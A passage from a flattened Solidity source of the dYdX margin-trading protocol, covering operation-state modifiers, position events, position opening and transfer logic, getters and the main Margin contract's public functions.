forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2; // Only closing functions allowed (marginCall, closePositionDirectly, forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3; // This operation state (and any higher) is invalid uint8 private constant OPERATION_STATE_INVALID = 4; // ============ Events ============ /** * Event indicating the operation state has changed */ event OperationStateChanged( uint8 from, uint8 to ); // ============ State Variables ============ uint8 public operationState; // ============ Constructor ============ constructor() public Ownable() { operationState = OPERATION_STATE_OPERATIONAL; } // ============ Modifiers ============ modifier onlyWhileOperational() { require( operationState == OPERATION_STATE_OPERATIONAL, "MarginAdmin#onlyWhileOperational: Can only call while operational" ); _; } modifier cancelLoanOfferingStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY, "MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state" ); _; } modifier closePositionStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY || operationState == OPERATION_STATE_CLOSE_ONLY, "MarginAdmin#closePositionStateControl: Invalid operation state" ); _; } modifier closePositionDirectlyStateControl() { _; } // ============ Owner-Only State-Changing Functions ============ function setOperationState( uint8 newState ) external onlyOwner { require( newState < OPERATION_STATE_INVALID, "MarginAdmin#setOperationState: newState is not a valid operation state" ); if (newState != operationState) { emit OperationStateChanged( operationState, newState ); operationState = newState; } } } // File: contracts/margin/impl/MarginEvents.sol /** * @title MarginEvents * @author dYdX * * Contains events for the Margin contract. * * NOTE: Any Margin function libraries that use events will need to both define the event here * and copy the event into the library itself as libraries don't support sharing events */ contract MarginEvents { // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); /* * A position was increased */ event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); /** * Collateral for a position was forcibly recovered */ event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); /** * A position was margin-called */ event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); /** * A margin call was canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); /** * A loan offering was canceled before it was used. Any amount less than the * total for the loan offering can be canceled. */ event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); /** * Additional collateral for a position was posted by the owner */ event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); /** * Ownership of a loan was transferred to a new address */ event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); /** * Ownership of a position was transferred to a new address */ event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); } // File: contracts/margin/impl/OpenPositionImpl.sol /** * @title OpenPositionImpl * @author dYdX * * This library contains the implementation for the openPosition function of Margin */ library OpenPositionImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function openPositionImpl( MarginState.State storage state, address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (bytes32) { BorrowShared.Tx memory transaction = parseOpenTx( addresses, values256, values32, depositInHeldToken, signature ); require( !MarginCommon.positionHasExisted(state, transaction.positionId), "OpenPositionImpl#openPositionImpl: positionId already exists" ); doBorrowAndSell(state, transaction, orderData); // Before doStoreNewPosition() so that PositionOpened event is before Transferred events recordPositionOpened( transaction ); doStoreNewPosition( state, transaction ); return transaction.positionId; } // ============ Private Helper-Functions ============ function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { BorrowShared.validateTxPreSell(state, transaction); if (transaction.depositInHeldToken) { BorrowShared.doDepositHeldToken(state, transaction); } else { BorrowShared.doDepositOwedToken(state, transaction); } transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, MathHelpers.maxUint256() ); BorrowShared.doPostSell(state, transaction); } function doStoreNewPosition( MarginState.State storage state, BorrowShared.Tx memory transaction ) private { MarginCommon.storeNewPosition( state, transaction.positionId, MarginCommon.Position({ owedToken: transaction.loanOffering.owedToken, heldToken: transaction.loanOffering.heldToken, lender: transaction.loanOffering.owner, owner: transaction.owner, principal: transaction.principal, requiredDeposit: 0, callTimeLimit: transaction.loanOffering.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: transaction.loanOffering.maxDuration, interestRate: transaction.loanOffering.rates.interestRate, interestPeriod: transaction.loanOffering.rates.interestPeriod }), transaction.loanOffering.payer ); } function recordPositionOpened( BorrowShared.Tx transaction ) private { emit PositionOpened( transaction.positionId, msg.sender, transaction.loanOffering.payer, transaction.loanOffering.loanHash, transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.feeRecipient, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.loanOffering.rates.interestRate, transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.depositInHeldToken ); } // ============ Parsing Functions ============ function parseOpenTx( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[9]), owner: addresses[0], principal: values256[7], lenderAmount: values256[7], loanOffering: parseLoanOffering( addresses, values256, values32, signature ), exchangeWrapper: addresses[10], depositInHeldToken: depositInHeldToken, depositAmount: values256[8], collateralAmount: 0, // set later heldTokenFromSell: 0 // set later }); return transaction; } function parseLoanOffering( address[11] addresses, uint256[10] values256, uint32[4] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[1], heldToken: addresses[2], payer: addresses[3], owner: addresses[4], taker: addresses[5], positionOwner: addresses[6], feeRecipient: addresses[7], lenderFeeToken: addresses[8], takerFeeToken: addresses[9], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[10] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: values32[2], interestPeriod: values32[3] }); return rates; } } // File: contracts/margin/impl/OpenWithoutCounterpartyImpl.sol /** * @title OpenWithoutCounterpartyImpl * @author dYdX * * This library contains the implementation for the openWithoutCounterparty * function of Margin */ library OpenWithoutCounterpartyImpl { // ============ Structs ============ struct Tx { bytes32 positionId; address positionOwner; address owedToken; address heldToken; address loanOwner; uint256 principal; uint256 deposit; uint32 callTimeLimit; uint32 maxDuration; uint32 interestRate; uint32 interestPeriod; } // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function openWithoutCounterpartyImpl( MarginState.State storage state, address[4] addresses, uint256[3] values256, uint32[4] values32 ) public returns (bytes32) { Tx memory openTx = parseTx( addresses, values256, values32 ); validate( state, openTx ); Vault(state.VAULT).transferToVault( openTx.positionId, openTx.heldToken, msg.sender, openTx.deposit ); recordPositionOpened( openTx ); doStoreNewPosition( state, openTx ); return openTx.positionId; } // ============ Private Helper-Functions ============ function doStoreNewPosition( MarginState.State storage state, Tx memory openTx ) private { MarginCommon.storeNewPosition( state, openTx.positionId, MarginCommon.Position({ owedToken: openTx.owedToken, heldToken: openTx.heldToken, lender: openTx.loanOwner, owner: openTx.positionOwner, principal: openTx.principal, requiredDeposit: 0, callTimeLimit: openTx.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: openTx.maxDuration, interestRate: openTx.interestRate, interestPeriod: openTx.interestPeriod }), msg.sender ); } function validate( MarginState.State storage state, Tx memory openTx ) private view { require( !MarginCommon.positionHasExisted(state, openTx.positionId), "openWithoutCounterpartyImpl#validate: positionId already exists" ); require( openTx.principal > 0, "openWithoutCounterpartyImpl#validate: principal cannot be 0" ); require( openTx.owedToken != address(0), "openWithoutCounterpartyImpl#validate: owedToken cannot be 0" ); require( openTx.owedToken != openTx.heldToken, "openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken" ); require( openTx.positionOwner != address(0), "openWithoutCounterpartyImpl#validate: positionOwner cannot be 0" ); require( openTx.loanOwner != address(0), "openWithoutCounterpartyImpl#validate: loanOwner cannot be 0" ); require( openTx.maxDuration > 0, "openWithoutCounterpartyImpl#validate: maxDuration cannot be 0" ); require( openTx.interestPeriod <= openTx.maxDuration, "openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration" ); } function recordPositionOpened( Tx memory openTx ) private { emit PositionOpened( openTx.positionId, msg.sender, msg.sender, bytes32(0), openTx.owedToken, openTx.heldToken, address(0), openTx.principal, 0, openTx.deposit, openTx.interestRate, openTx.callTimeLimit, openTx.maxDuration, true ); } // ============ Parsing Functions ============ function parseTx( address[4] addresses, uint256[3] values256, uint32[4] values32 ) private view returns (Tx memory) { Tx memory openTx = Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[2]), positionOwner: addresses[0], owedToken: addresses[1], heldToken: addresses[2], loanOwner: addresses[3], principal: values256[0], deposit: values256[1], callTimeLimit: values32[0], maxDuration: values32[1], interestRate: values32[2], interestPeriod: values32[3] }); return openTx; } } // File: contracts/margin/impl/PositionGetters.sol /** * @title PositionGetters * @author dYdX * * A collection of public constant getter functions that allows reading of the state of any position * stored in the dYdX protocol. */ contract PositionGetters is MarginStorage { using SafeMath for uint256; // ============ Public Constant Functions ============ /** * Gets if a position is currently open. * * @param positionId Unique ID of the position * @return True if the position is exists and is open */ function containsPosition( bytes32 positionId ) external view returns (bool) { return MarginCommon.containsPositionImpl(state, positionId); } /** * Gets if a position is currently margin-called. * * @param positionId Unique ID of the position * @return True if the position is margin-called */ function isPositionCalled( bytes32 positionId ) external view returns (bool) { return (state.positions[positionId].callTimestamp > 0); } /** * Gets if a position was previously open and is now closed. * * @param positionId Unique ID of the position * @return True if the position is now closed */ function isPositionClosed( bytes32 positionId ) external view returns (bool) { return state.closedPositions[positionId]; } /** * Gets the total amount of owedToken ever repaid to the lender for a position. * * @param positionId Unique ID of the position * @return Total amount of owedToken ever repaid */ function getTotalOwedTokenRepaidToLender( bytes32 positionId ) external view returns (uint256) { return state.totalOwedTokenRepaidToLender[positionId]; } /** * Gets the amount of heldToken currently locked up in Vault for a particular position. * * @param positionId Unique ID of the position * @return The amount of heldToken */ function getPositionBalance( bytes32 positionId ) external view returns (uint256) { return MarginCommon.getPositionBalanceImpl(state, positionId); } /** * Gets the time until the interest fee charged for the position will increase. * Returns 1 if the interest fee increases every second. * Returns 0 if the interest fee will never increase again. * * @param positionId Unique ID of the position * @return The number of seconds until the interest fee will increase */ function getTimeUntilInterestIncrease( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed( position, block.timestamp ); uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp); if (absoluteTimeElapsed > effectiveTimeElapsed) { // past maxDuration return 0; } else { // nextStep is the final second at which the calculated interest fee is the same as it // is currently, so add 1 to get the correct value return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed); } } /** * Gets the amount of owedTokens currently needed to close the position completely, including * interest fees. * * @param positionId Unique ID of the position * @return The number of owedTokens */ function getPositionOwedAmount( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); return MarginCommon.calculateOwedAmount( position, position.principal, block.timestamp ); } /** * Gets the amount of owedTokens needed to close a given principal amount of the position at a * given time, including interest fees. * * @param positionId Unique ID of the position * @param principalToClose Amount of principal being closed * @param timestamp Block timestamp in seconds of close * @return The number of owedTokens owed */ function getPositionOwedAmountAtTime( bytes32 positionId, uint256 principalToClose, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getPositionOwedAmountAtTime: Requested time before position started" ); return MarginCommon.calculateOwedAmount( position, principalToClose, timestamp ); } /** * Gets the amount of owedTokens that can be borrowed from a lender to add a given principal * amount to the position at a given time. * * @param positionId Unique ID of the position * @param principalToAdd Amount being added to principal * @param timestamp Block timestamp in seconds of addition * @return The number of owedTokens that will be borrowed */ function getLenderAmountForIncreasePositionAtTime( bytes32 positionId, uint256 principalToAdd, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start" ); return MarginCommon.calculateLenderAmountForIncreasePosition( position, principalToAdd, timestamp ); } // ============ All Properties ============ /** * Get a Position by id. This does not validate the position exists. If the position does not * exist, all 0's will be returned. * * @param positionId Unique ID of the position * @return Addresses corresponding to: * * [0] = owedToken * [1] = heldToken * [2] = lender * [3] = owner * * Values corresponding to: * * [0] = principal * [1] = requiredDeposit * * Values corresponding to: * * [0] = callTimeLimit * [1] = startTimestamp * [2] = callTimestamp * [3] = maxDuration * [4] = interestRate * [5] = interestPeriod */ function getPosition( bytes32 positionId ) external view returns ( address[4], uint256[2], uint32[6] ) { MarginCommon.Position storage position = state.positions[positionId]; return ( [ position.owedToken, position.heldToken, position.lender, position.owner ], [ position.principal, position.requiredDeposit ], [ position.callTimeLimit, position.startTimestamp, position.callTimestamp, position.maxDuration, position.interestRate, position.interestPeriod ] ); } // ============ Individual Properties ============ function getPositionLender( bytes32 positionId ) external view returns (address) { return state.positions[positionId].lender; } function getPositionOwner( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owner; } function getPositionHeldToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].heldToken; } function getPositionOwedToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owedToken; } function getPositionPrincipal( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].principal; } function getPositionInterestRate( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].interestRate; } function getPositionRequiredDeposit( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].requiredDeposit; } function getPositionStartTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].startTimestamp; } function getPositionCallTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimestamp; } function getPositionCallTimeLimit( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimeLimit; } function getPositionMaxDuration( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].maxDuration; } function getPositioninterestPeriod( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].interestPeriod; } } // File: contracts/margin/impl/TransferImpl.sol /** * @title TransferImpl * @author dYdX * * This library contains the implementation for the transferPosition and transferLoan functions of * Margin */ library TransferImpl { // ============ Public Implementation Functions ============ function transferLoanImpl( MarginState.State storage state, bytes32 positionId, address newLender ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferLoanImpl: Position does not exist" ); address originalLender = state.positions[positionId].lender; require( msg.sender == originalLender, "TransferImpl#transferLoanImpl: Only lender can transfer ownership" ); require( newLender != originalLender, "TransferImpl#transferLoanImpl: Cannot transfer ownership to self" ); // Doesn't change the state of positionId; figures out the final owner of loan. // That is, newLender may pass ownership to a different address. address finalLender = TransferInternal.grantLoanOwnership( positionId, originalLender, newLender); require( finalLender != originalLender, "TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self" ); // Set state only after resolving the new owner (to reduce the number of storage calls) state.positions[positionId].lender = finalLender; } function transferPositionImpl( MarginState.State storage state, bytes32 positionId, address newOwner ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferPositionImpl: Position does not exist" ); address originalOwner = state.positions[positionId].owner; require( msg.sender == originalOwner, "TransferImpl#transferPositionImpl: Only position owner can transfer ownership" ); require( newOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot transfer ownership to self" ); // Doesn't change the state of positionId; figures out the final owner of position. // That is, newOwner may pass ownership to a different address. address finalOwner = TransferInternal.grantPositionOwnership( positionId, originalOwner, newOwner); require( finalOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self" ); // Set state only after resolving the new owner (to reduce the number of storage calls) state.positions[positionId].owner = finalOwner; } } // File: contracts/margin/Margin.sol /** * @title Margin * @author dYdX * * This contract is used to facilitate margin trading as per the dYdX protocol */ contract Margin is ReentrancyGuard, MarginStorage, MarginEvents, MarginAdmin, LoanGetters, PositionGetters { using SafeMath for uint256; // ============ Constructor ============ constructor( address vault, address proxy ) public MarginAdmin() { state = MarginState.State({ VAULT: vault, TOKEN_PROXY: proxy }); } // ============ Public State Changing Functions ============ /** * Open a margin position. Called by the margin trader who must provide both a * signed loan offering as well as a DEX Order with which to sell the owedToken. * * @param addresses Addresses corresponding to: * * [0] = position owner * [1] = owedToken * [2] = heldToken * [3] = loan payer * [4] = loan owner * [5] = loan taker * [6] = loan position owner * [7] = loan fee recipient * [8] = loan lender fee token * [9] = loan taker fee token * [10] = exchange wrapper address * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * [7] = position amount of principal * [8] = deposit amount * [9] = nonce (used to calculate positionId) * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken. * False if the margin deposit will be in owedToken * and then sold along with the owedToken borrowed from the lender * @param signature If loan payer is an account, then this must be the tightly-packed * ECDSA V/R/S parameters from signing the loan hash. If loan payer * is a smart contract, these are arbitrary bytes that the contract * will recieve when choosing whether to approve the loan. * @param order Order object to be passed to the exchange wrapper * @return Unique ID for the new position */ function openPosition( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenPositionImpl.openPositionImpl( state, addresses, values256, values32, depositInHeldToken, signature, order ); } /** * Open a margin position without a counterparty. The caller will serve as both the * lender and the position owner * * @param addresses Addresses corresponding to: * * [0] = position owner * [1] = owedToken * [2] = heldToken * [3] = loan owner * * @param values256 Values corresponding to: * * [0] = principal * [1] = deposit amount * [2] = nonce (used to calculate positionId) * * @param values32 Values corresponding to: * * [0] = call time limit (in seconds) * [1] = maxDuration (in seconds) * [2] = interest rate (annual nominal percentage times 10**6) * [3] = interest update period (in seconds) * * @return Unique ID for the new position */ function openWithoutCounterparty( address[4] addresses, uint256[3] values256, uint32[4] values32 ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl( state, addresses, values256, values32 ); } /** * Increase the size of a position. Funds will be borrowed from the loan payer and sold as per * the position. The amount of owedToken borrowed from the lender will be >= the amount of * principal added, as it will incorporate interest already earned by the position so far. * * @param positionId Unique ID of the position * @param addresses Addresses corresponding to: * * [0] = loan payer * [1] = loan taker * [2] = loan position owner * [3] = loan fee recipient * [4] = loan lender fee token * [5] = loan taker fee token * [6] = exchange wrapper address * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * [7] = amount of principal to add to the position (NOTE: the amount pulled from the lender * will be >= this amount) * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * * @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken. * False if the margin deposit will be pulled in owedToken * and then sold along with the owedToken borrowed from the lender * @param signature If loan payer is an account, then this must be the tightly-packed * ECDSA V/R/S parameters from signing the loan hash. If loan payer * is a smart contract, these are arbitrary bytes that the contract * will recieve when choosing whether to approve the loan. * @param order Order object to be passed to the exchange wrapper * @return Amount of owedTokens pulled from the lender */ function increasePosition( bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increasePositionImpl( state, positionId, addresses, values256, values32, depositInHeldToken, signature, order ); } /** * Increase a position directly by putting up heldToken. The caller will serve as both the * lender and the position owner * * @param positionId Unique ID of the position * @param principalToAdd Principal amount to add to the position * @return Amount of heldToken pulled from the msg.sender */ function increaseWithoutCounterparty( bytes32 positionId, uint256 principalToAdd ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increaseWithoutCounterpartyImpl( state, positionId, principalToAdd ); } /** * Close a position. May be called by the owner or with the approval of the owner. May provide * an order and exchangeWrapper to facilitate the closing of the position. The payoutRecipient * is sent the resulting payout. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param exchangeWrapper Address of the exchange wrapper * @param payoutInHeldToken True to pay out the payoutRecipient in heldToken, * False to pay out the payoutRecipient in owedToken * @param order Order object to be passed to the exchange wrapper * @return Values corresponding to: * 1) Principal of position closed * 2) Amount of tokens (heldToken if payoutInHeldtoken is true, * owedToken otherwise) received by the payoutRecipient * 3) Amount of owedToken paid (incl. interest fee) to the lender */ function closePosition( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes order ) external closePositionStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, order ); } /** * Helper to close a position by paying owedToken directly rather than using an exchangeWrapper. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * @param payoutRecipient Address of the recipient of tokens paid out from closing * @return Values corresponding to: * 1) Principal amount of position closed * 2) Amount of heldToken received by the payoutRecipient * 3) Amount of owedToken paid (incl. interest fee) to the lender */ function closePositionDirectly( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionDirectlyStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, address(0), true, new bytes(0) ); } /** * Reduce the size of a position and withdraw a proportional amount of heldToken from the vault. * Must be approved by both the position owner and lender. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * 3) The amount allowed by the lender if closer != lender * @return Values corresponding to: * 1) Principal amount of position closed * 2) Amount of heldToken received by the msg.sender */ function closeWithoutCounterparty( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionStateControl nonReentrant returns (uint256, uint256) { return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl( state, positionId, requestedCloseAmount, payoutRecipient ); } /** * Margin-call a position. Only callable with the approval of the position lender. After the * call, the position owner will have time equal to the callTimeLimit of the position to close * the position. If the owner does not close the position, the lender can recover the collateral * in the position. * * @param positionId Unique ID of the position * @param requiredDeposit Amount of deposit the position owner will have to put up to cancel * the margin-call. Passing in 0 means the margin call cannot be * canceled by depositing */ function marginCall( bytes32 positionId, uint256 requiredDeposit ) external nonReentrant { LoanImpl.marginCallImpl( state, positionId, requiredDeposit ); } /** * Cancel a margin-call. Only callable with the approval of the position lender. * * @param positionId Unique ID of the position */ function cancelMarginCall( bytes32 positionId ) external onlyWhileOperational nonReentrant { LoanImpl.cancelMarginCallImpl(state, positionId); } /** * Used to recover the heldTokens held as collateral. Is callable after the maximum duration of * the loan has expired or the loan has been margin-called for the duration of the callTimeLimit * but remains unclosed. Only callable with the approval of the position lender. * * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return Amount of heldToken recovered */ function forceRecoverCollateral( bytes32 positionId, address recipient ) external nonReentrant returns (uint256) { return ForceRecoverCollateralImpl.forceRecoverCollateralImpl( state, positionId, recipient ); } /** * Deposit additional heldToken as collateral for a position. Cancels margin-call if: * 0 < position.requiredDeposit < depositAmount. Only callable by the position owner. * * @param positionId Unique ID of the position * @param depositAmount Additional amount in heldToken to deposit */ function depositCollateral( bytes32 positionId, uint256 depositAmount ) external onlyWhileOperational nonReentrant { DepositCollateralImpl.depositCollateralImpl( state, positionId, depositAmount ); } /** * Cancel an amount of a loan offering. Only callable by the loan offering's payer. * * @param addresses Array of addresses: * * [0] = owedToken * [1] = heldToken * [2] = loan payer * [3] = loan owner * [4] = loan taker * [5] = loan position owner * [6] = loan fee recipient * [7] = loan lender fee token * [8] = loan taker fee token * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param cancelAmount Amount to cancel * @return Amount that was canceled */ function cancelLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) external cancelLoanOfferingStateControl nonReentrant returns (uint256) { return LoanImpl.cancelLoanOfferingImpl( state, addresses, values256, values32, cancelAmount ); } /** * Transfer ownership of a loan to a new address. This new address will be entitled to all * payouts for this loan. Only callable by the lender for a position. If "who" is a contract, it * must implement the LoanOwner interface. * * @param positionId Unique ID of the position * @param who New owner of the loan */ function transferLoan( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferLoanImpl( state, positionId, who); } /** * Transfer ownership of a position to a new address. This new address will be entitled to all * payouts. Only callable by the owner of a position. If "who" is a contract, it must implement * the PositionOwner interface. * * @param positionId Unique ID of the position * @param who New owner of the position */ function transferPosition( bytes32 positionId, address who ) external nonReentrant { TransferImpl.transferPositionImpl( state, positionId, who); } // ============ Public Constant Functions ============ /** * Gets the address of the Vault contract that holds and accounts for tokens. * * @return The address of the Vault contract */ function getVaultAddress() external view returns (address) { return state.VAULT; } /** * Gets the address of the TokenProxy contract that accounts must set allowance on in order to * make loans or open/close positions. * * @return The address of the TokenProxy contract */ function getTokenProxyAddress() external view returns (address) { return state.TOKEN_PROXY; } } // File: contracts/margin/interfaces/OnlyMargin.sol /** * @title OnlyMargin * @author dYdX * * Contract to store the address of the main Margin contract and trust only that address to call * certain functions. */ contract OnlyMargin { // ============ Constants ============ // Address of the known and trusted Margin contract on the blockchain address public DYDX_MARGIN; // ============ Constructor ============ constructor( address margin ) public { DYDX_MARGIN = margin; } // ============ Modifiers ============ modifier onlyMargin() { require( msg.sender == DYDX_MARGIN, "OnlyMargin#onlyMargin: Only Margin can call" ); _; } } // File: contracts/margin/external/lib/LoanOfferingParser.sol /** * @title LoanOfferingParser * @author dYdX * * Contract for LoanOfferingVerifiers to parse arguments */ contract LoanOfferingParser { // ============ Parsing Functions ============ function parseLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes signature ) internal pure returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering; fillLoanOfferingAddresses(loanOffering, addresses); fillLoanOfferingValues256(loanOffering, values256); fillLoanOfferingValues32(loanOffering, values32); loanOffering.signature = signature; return loanOffering; } function fillLoanOfferingAddresses( MarginCommon.LoanOffering memory loanOffering, address[9] addresses ) private pure { loanOffering.owedToken = addresses[0]; loanOffering.heldToken = addresses[1]; loanOffering.payer = addresses[2]; loanOffering.owner = addresses[3]; loanOffering.taker = addresses[4]; loanOffering.positionOwner = addresses[5]; loanOffering.feeRecipient = addresses[6]; loanOffering.lenderFeeToken = addresses[7]; loanOffering.takerFeeToken = addresses[8]; } function fillLoanOfferingValues256( MarginCommon.LoanOffering memory loanOffering, uint256[7] values256 ) private pure { loanOffering.rates.maxAmount = values256[0]; loanOffering.rates.minAmount = values256[1]; 